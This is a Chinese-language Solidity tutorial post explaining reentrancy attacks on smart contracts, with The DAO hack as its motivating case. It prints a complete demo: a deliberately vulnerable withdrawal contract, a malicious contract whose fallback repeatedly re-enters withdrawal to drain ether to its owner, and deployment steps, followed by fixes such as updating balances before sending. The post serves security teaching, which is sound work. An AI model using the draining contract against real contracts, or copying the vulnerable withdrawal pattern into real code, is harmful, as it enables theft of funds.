1. 程式人生 > >solidity智慧合約[53]-安全-重入***

solidity智慧合約[53]-安全-重入***

重入***

當呼叫外部的合約時,外部合約會接管控制流程,從而可能給自己的資料帶來意想不到的修改。2016年6月,以太坊最大眾籌專案The DAO被***,***獲得超過350萬個以太幣。正是由於此陷阱。

重入***本質

1、呼叫外部合約
2、fallback回撥函式被多次執行
3、邏輯順序出現問題
4、call函式沒有gaslimit的限制。
5、call函式返回值為true或false。出錯不會執行回滾。

案例剖析

1、部署合約Vulnerable、Malicious、transferEther,假設地址為 addrA、addrB、addrC
2、 將addrB傳遞到 Vulnerable合約的 add中。 完成此操作後,將balance對映的金額增加100。附帶5 ether。讓Vulnerable合約一開始就有5 ether。
3、將addrA的地址傳遞到Malicious合約的instance中,儲存地址。

4、呼叫transferEther合約的test方法,傳遞addrB的地址。由於合約的轉賬方法出發了fallback回撥函式。因此執行了Vulnerable合約中的withdrawEquity方法。此方法執行了語句 msg.sender.call.value(x)();而當前的msg.sender為Malicious合約地址,又會再次執行Malicious合約的回撥函式。而這時, ____balanceOf[msg.sender] 的金額還沒有變為0.使得Vulnerable不停的轉移資金給Malicious合約。一直到到達了gaslimit的限制從而終止。但是由於call函式返回值為true或false。只有最後的函數出錯會執行回滾。其他函式會正常的執行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

contract Vulnerable{


   mapping(address =>uint) public _balanceOf;

   function withdrawEquity() public returns(bool){

       uint x = _balanceOf[msg.sender];

       msg.sender.call.value(x)();
       _balanceOf[msg.sender] = 0 ;
       return true;
   }

   function add(address _addr) payable{
       _balanceOf[_addr] = 100;
   }

       function getBalance() returns(uint){
       return this.balance;
   }
}


contract Malicious{
   address private _owner;
   Vulnerable public vul;
   function setInstance(address addr) public{
        vul = Vulnerable(addr);

   }

   function Malicious() public {
       _owner = msg.sender;
   }

   function () public payable{
       vul.withdrawEquity();
   }

   function winnerWinnerChickenDinner() public{
       _owner.transfer(this.balance);
   }

   function getBalance() returns(uint){
       return this.balance;
   }
}

contract transferEther{
   function test(address _addr) payable{
       _addr.call.value(5 ether)();

   }
}

解決辦法

1、替換順序,這樣當重複執行withdrawEquity函式時,資金已經變為了0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function withdrawEquity() public returns(bool){

   uint x = _balanceOf[msg.sender];
   msg.sender.call.value(x)();
   _balanceOf[msg.sender] = 0 ;
   return true;
}
替換為:
function withdrawEquity() public returns(bool){
   uint x = _balanceOf[msg.sender];
   _balanceOf[msg.sender] = 0 ;
   msg.sender.call.value(x)();
   return true;
}

2、替換為更安全的send、transfer函式
3、對於呼叫外部合約的時候保持警惕。

image.png